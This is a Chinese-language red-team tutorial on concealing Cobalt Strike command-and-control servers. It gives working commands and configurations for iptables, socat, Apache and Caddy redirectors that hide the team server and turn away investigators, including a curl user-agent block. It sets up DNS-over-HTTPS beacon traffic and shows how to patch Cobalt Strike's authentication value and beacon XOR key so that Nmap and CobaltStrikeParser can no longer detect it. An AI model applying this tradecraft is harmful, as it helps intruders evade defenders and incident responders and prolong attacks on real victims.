# 在暗影中潜行 - CS 服务器隐匿(二)

# 前言

在上一篇文章中,总结了互联网上一些常见的 Cobalt Strike 特征修改以及服务器的隐藏方法。在本篇进行了进一步的补充总结,包含:重定向器的设置、DNS 监听器的隐藏以及简单修改 Cobalt Strike 来防止团队服务器的泄露。


# 1 重定向器

重定向器是隐蔽攻击基础设施中的关键组件,用于混淆后端基础架构,并可用于混淆或迷惑正在调查的事件响应者,当我们的重定向器服务器被封禁时,我们真正的 Cobalt Strike 团队服务器的 IP 仍然可用。

# 1.1 Dumb Pipe 重定向器

Dumb Pipe 重定向器会混淆 CS 服务器的真实 IP 地址,适合于快速启动环境,但由于该重定向不对流量执行任何条件的过滤,所以较容易被防守方深入溯源。

# 1.1.1 iptables

iptables 是 Linux 的防火墙工具,它可以将某个端口上的任何传入流量 NAT 到远程主机的指定端口。

以 root 权限运行以下命令将 443 端口的 TCP 流量重定向到 CS 服务器的 443 端口,其中为 CS 服务器 IP。

iptables -I INPUT -p tcp -m tcp --dport 443 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination <REMOTE-HOST-IP-ADDRESS>:443
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward=1

# 1.1.2 socat

socat 是用来创建相同类型的流量重定向工具。

以下命令将 443 端口的流量重定向到 CS 服务器的 443 端口,其中为 CS 服务器 IP。

socat TCP4-LISTEN:443,fork TCP4:<REMOTE-HOST-IP-ADDRESS>:443

如果重定向大量流量,socat 重定向器可能会出现一些问题。

# 1.2 过滤型重定向器

虽然 Dumb Pipe 重定向器可以快速启动,但过滤型重定向器提供了几乎无穷无尽的方法来阻止防守方来调查我们的 CS 服务器。

# 1.2.1 Apache mod_rewrite

安装 Apache 并开启模块。

apt-get install apache2
a2enmod ssl rewrite proxy proxy_http
a2ensite default-ssl.conf
service apache2 restart

在 Apache2 的配置文件中,找到 Directory 将 None 改为 ALL。

<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
</Directory>

编辑 SSL 站点配置(默认位于 /etc/apache2/sites-enabled/default-ssl.conf),设置 SSLCertificateFile、SSLCertificateKeyFile 为 SSL 证书路径,并在文件中加入以下配置。

# Enable SSL
SSLEngine On
# Enable Proxy
SSLProxyEngine On
# Trust Self-Signed Certificates generated by Cobalt Strike
SSLProxyVerify none
SSLProxyCheckPeerCN off
SSLProxyCheckPeerName off

在完成了以上配置后,接下来要根据 C2 配置文件来编写位于网站根目录 (默认为 /var/www/html/) 下的.htaccess 文件。

mod_rewrite 规则语法:

#启用重写引擎
RewriteEngine On
#如果请求的 %URI 是“/payload.exe”或“/landingpage.html”(带有可选的尾部斜杠),则 [忽略大小写];
RewriteCond %{REQUEST_URI} ^/(payload\.exe|landingpage\.html)/?$ [NC]
#将整个请求更改 为从远程主机的 IP提供原始请求路径,并保持用户的地址栏相同(隐藏后端服务器的 IP)。
RewriteRule ^.*$ http://REMOTE-HOST-IP %{REQUEST_URI} [P]
#如果不满足上述条件,将整个请求更改为 http://example.com/并从原始请求中删除所有查询字符串。不判断之后的规则并重定向用户,更改地址栏。
RewriteRule ^. *$ http://example.com/? [L,R=302]

也可以直接利用 Python 脚本 (https://github.com/threatexpress/cs2modrewrite) 根据 C2 配置文件生成.htaccess 文件。

python3 cs2modrewrite.py -i havex.profile -c https://[CS服务器地址] -r https://[www.xxxx.com] > /var/www/html/.htaccess

正常上线。

image-20220517144813521

直接访问域名会跳转至其他地址。

image-20220517145627672

# 1.2.2 Nginx

Nginx 的重定向在上篇的 “Nginx 反向代理隐藏端口” 部分有过说明,不再赘述。

# 1.2.3 Caddy

Caddy 一个强大的、企业级的、开源的 Web 服务器,且带有用 Go 编写的自动 HTTPS。

安装 caddy,根据官方文档,Ubuntu 安装方法如下:

sudo apt install -y debian-keyring debian-archive-keyring apt-transport-https
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' | sudo gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' | sudo tee /etc/apt/sources.list.d/caddy-stable.list
sudo apt update
sudo apt install caddy

根据自己的 CS 配置文件进行 caddy 配置文件的编写。

(cs_proxy_upstream) {
	#caddy只处理以/include/开头的请求,根据CS配置文件来配置
	handle /include/* {
        # 阻止访问的UA列表
        @ua_denylist {
                header User-Agent curl*
        }
        
        # 阻止访问的IP列表
        @ip_denylist {
                remote_ip 8.8.8.8/32
        }       
        header {
                -Server
                +X-Robots-Tag "noindex, nofollow, nosnippet, noarchive"
                +X-Content-Type-Options "nosniff"
        }  
        # 在阻止访问的UA列表的IP访问是返回403,可设为其它
        respond @ua_denylist "Forbidden" 403 {
                close
        }
        
        # 在阻止访问的IP列表的IP访问是返回403,可设为其它
        respond @ip_denylist "Forbidden" 403 {
                close
        }
        
        # 反向代理到CS服务器,且配置X-Forwarded-For头
        reverse_proxy https://CS服务器地址:443 {
                header_up Host {upstream_hostport}
                header_up X-Forwarded-Host {host}
                header_up X-Forwarded-Port {port}
        }
 	}     
}

配置完成后 caddy run 运行 caddy。

正常上线,在 CS 配置文件中设置 trust_x_forwarded_for 为 true 可通过 x-forwarded 获取上线主机出口 IP,而不是重定向器 IP。

image-20220518110402419

image-20220518110947921

# 2 DNS over HTTPS

DoH (DNS over HTTPS)即使用安全的 HTTPS 协议运行 DNS ,主要目的是增强用户的安全性和隐私性。通过使用加密的 HTTPS 连接,第三方将不再影响或监视解析过程。因此,将无法查看请求的 URL 并对其进行追踪。

在使用 DNS 监听器控制受害主机时,会产生大量 DNS 请求,流量异常易被发现。

image-20220512140036137

# 2.1 配置 TitanLdr

安装由 Kyle Avery fork 的 TitanLdr 工具:

https://github.com/kyleavery/TitanLdr

此 TitanLdr 可以指定多个 DoH 服务器,每次回调时,Beacon 都会从服务器列表中随机选择一个。可以在 /hooks/DnsQuery_A.c 文件的第 116 行修改 DoH 服务器列表。

image-20220512163411509

可用的 DoH 服务器可从该 wiki 中

https://github.com/curl/curl/wiki/DNS-over-HTTPS

寻找(不局限于此),修改完成后需要构建程序来使用该工具,需要安装 NASM 和 MinGW 来完成构建。

以 Ubuntu 20.04 为例:

从NSAM官网下载稳定版NASM软件包
# wget https://www.nasm.us/pub/nasm/releasebuilds/2.14.02/nasm-2.14.02.tar.gz
# tar -xvf nasm-2.14.02.tar.gz
# cd nasm-2.14.02
# ./configure
# make
# make install

安装完成后可通过 nasm -version 来查看是否安装成功

image-20220512164218506

MinGW 可通过 apt install mingw-w64 直接安装

image-20220512164807586

全部安装完成后,执行 make 进行构建

image-20220512165010714

可能会因 Python3 缺少 module 报错,pip install 缺少的 module,重新 make 进行构建即可

image-20220512165501364

# 2.2 使用 TitanLdr

准备一个域名解析到 Cobalt Strike 服务器,并配置 NS 记录

image-20220512165906344

将 Titan.cna 通过脚本管理器导入到 Cobalt Strike 中,即可使用 DoH,配置 DNS 监听器

image-20220512160957443

Beacon 运行后,可以看到只发出了一个 DNS 请求来解析 DoH 服务器的地址,之后的流量都经过了 HTTPS 的加密。

image-20220512160926328

image-20220512160819534

# 3 修改 Cobalt Strike 客户端

# 3.1 准备

# 3.1.1 反编译

通过 IDEA 中自带的反编译工具 java-decompiler 反编译 CobaltStrike

该工具位于 IDEA 安装目录的 \plugins\java-decompiler\lib 文件夹下

01-IDEA反编译插件

在目录下创建用来放反编译后源码的文件夹,此处我创建了个名为 cs 的文件夹

java -cp java-decompiler.jar org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true cobaltstrike.jar cs/

如果出现了下图的报错,则说明 Java 版本低了

02-Java版本低

JDK 编译器版本及其对应的 class 文件版本序号:

JDK 编译器版本 class 文件版本序号
JDK8 52.0
JDK9 53.0
JDK10 54.0
JDK11 55.0
JDK12 56.0

所以这里要使用 11 以上版本的 Java 来执行,才可以正常反编译(这里我使用的 Java17)

03-反编译

经过漫长的等待后,得到一个 jar,解压后就是我们所需要的 CS 源码了

04-反编译结束

05-反编译结束1

# 3.1.2 建立 IDEA 项目

​ 这里为了方便代码的修改和查看,所以我选择通过 IDEA 来继续进行,也可以直接编辑要修改的 java 文件,用命令行直接编译为 class 文件,再拖进原来的 jar 包中。

在 IDEA 中新建一个项目

06-创建IDEA新项目0

07-创建IDEA新项目1

08-创建IDEA新项目2

项目名称看自己喜好自定义命名

在项目目录下创建一个文件夹(例如 lib)用来存放反编译前的 jar 文件,并将反编译后的文件解压至项目目录

09-项目目录配置

在项目结构 - 项目设置的模块中导入这个 jar 包

10-项目结构

11-项目设置模块

12-选择jar 13-导出模块

完成后点击应用

配置工件,从项目结构 - 项目设置 - 工件中的 + 号添加 JAR - 来自具有依赖项的模块

15-添加工件

这里需要选择主类,主类选择 aggressor.Aggressor

16-选择主类

可以通过反编译的源码中 META-INF 的 MANIFEST.MF 文件看到 Main-Class 即主类

14-入口

17-配置完成

至此 IDEA 的配置全部完成

当我们需要修改哪个文件就将文件重构复制至 src 目录中,再进行相应的修改

18-复制源码

19-复制到src目录下

修改源码完成后,在菜单栏的构建一栏中选择构建工件

20-构建工件21-构建

等待其构建完成后,会在项目目录下生成一个 out 目录,修改完成的 jar 在其 artifacts 目录下

22-等待构建完成

23-生成jar

这时我们直接打开 jar 会弹出报错

24-打开报错

直接一步到位,cmd 运行或写入 bat 文件运行

java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -jar ZBCCS.jar $*

运行后会报错缺少 cobaltstrike.auth 文件

25-缺少文件

将原来的文件拖入即可

26-复制文件

更简单的方法就是将生成的修改后的 jar 改名为 cobaltstrike.jar(原来的名字)放回原来的目录以替换原来的文件使用

27-正常运行

成功正常运行

# 3.2 修改

​ 在修改前要做好备份,以防止出现错误后 Cobalt Strike 无法正常使用。

# 3.2.1 修改登录

​ 可以通过修改源码中的标识数,来防止别人通过脚本暴力破解得到 teamserver 的密码。在修改后即便对方得到了正确密码,但是其客户端标识数与修改后的服务端不同,所以很难直接连接到我们的 teamserver。

28-1-爆破成功

28-2-爆破成功


修改 ssl 目录下的 SecureSocket.java 和 SecureServerSocket.java 中的标识数

28-3-securesocket

29-secureserversocket

以及 dns 目录下 AsymmetricCrypto.java 中的标识数

29-1-AsymmetricCrypto

修改后,通过 IDEA 的构建工件生成新的 jar

这时我们使用未修改的客户端尝试连接,会返回显示连接错误

30-正常客户端无法登陆

服务端显示:身份验证协议无效(旧客户端?)

32-服务端提示

只有使用修改后的客户端才可以正常连接服务端

31-正常登录


# 3.2.2 修改配置文件异或密钥

​ 在上篇文章中提到可以通过 Nmap 的 grab_beacon_config 扫描出监听器信息。

36-nmap扫描

​ 也可以通过访问链接下载文件,再由 CobaltStrikeParser 工具(GitHub 地址:https://github.com/Sentinel-One/CobaltStrikeParser)解出文件内容

33-破解配置文件

​ 查看这两种脚本的源码,可以发现它们都是通过异或密钥(3.x 为 0x69,4.x 为 0x2E)来解密出相应信息的

37-beacon_config_0x2E

38-beacon_config_0x2E


将 Beacon 目录下的 BeaconPayload.java 文件中的 0x2E 修改为其他值(这里显示为 46,46 的十六进制为 0x2E),修改后构建工件

39-修改0X2E

用 CrackSleeve(GitHub 地址:https://github.com/izj007/CrackSleeve)来解密 jar 中的 dll 文件

编译文件: javac -encoding UTF-8 -classpath cobaltstrike.jar CrackSleeve.java
解密: java -classpath cobaltstrike.jar;./ CrackSleeve decode

43-解密dll

解密后用 IDA 来编辑 dll,以 beacon.dll 文件为例

通过 IDA 的查找字节功能查找 0x2E

44-IDA查找

找到 xor 开头的一行,双击跳转

45-查找xor

在菜单栏的 Edit—Patch program—Change byte… 修改字节

46-进入修改字节

将 2E 改为其他的值

47-修改字节

在菜单栏 Edit—Patch program—Apply patches to input file… 保存修改

48-应用保存

需要修改的文件除了 beacon.dll 外还有 beacon.x64.dll、dnsb.dll、dnsb.x64.dll、pivot.dll、pivot.x64.dll、extc2.dll 以及 extc2.x64.dll。

全部修改完成后通过 CrackSleeve 再加密回去,加密的密钥就使用对应版本的密钥

java -classpath cobaltstrike.jar;./ CrackSleeve encode

49-加密

全部完成后将 dll 文件放入 cobaltstrike.jar 的 sleeve 文件夹下,至此修改完成

50-尝试上线

HTTP 以及 HTTPS 上线正常

通过 Nmap 的 grab_beacon_config 扫描,从 cs 的 web 日志中看到 Nmap 对 cs 服务端成功发起了请求,但未能扫出监听器信息

52-Nmap扫描结果

通过访问链接下载文件,再由 CobaltStrikeParser 解文件内容,也未能解出

54-解失败


# 总结

本文主要对上篇总结进行了补充。一个隐匿的攻击基础设施是红队的重要组成部分,隐匿的方法也不仅仅局限于本文提供的方法,只有不断的探索或学习大佬们的新隐匿方法,才能让我们的攻击基础设施更加完善。

# 参考链接

https://www.blackhillsinfosec.com/dns-over-https-for-cobalt-strike/

https://bluescreenofjeff.com/2018-04-12-https-payload-and-c2-redirectors/

https://bluescreenofjeff.com/2016-06-28-cobalt-strike-http-c2-redirectors-with-apache-mod_rewrite/

https://github.com/threatexpress/cs2modrewrite

https://github.com/kyleavery/TitanLdr

https://github.com/Sentinel-One/CobaltStrikeParser

https://mp.weixin.qq.com/s/fhcTTWV4Ddz4h9KxHVRcnw

https://github.com/ca3tie1/CrackSleeve

本文提及的工具仅供学习使用,禁止用于非法用途,本文不承担任何责任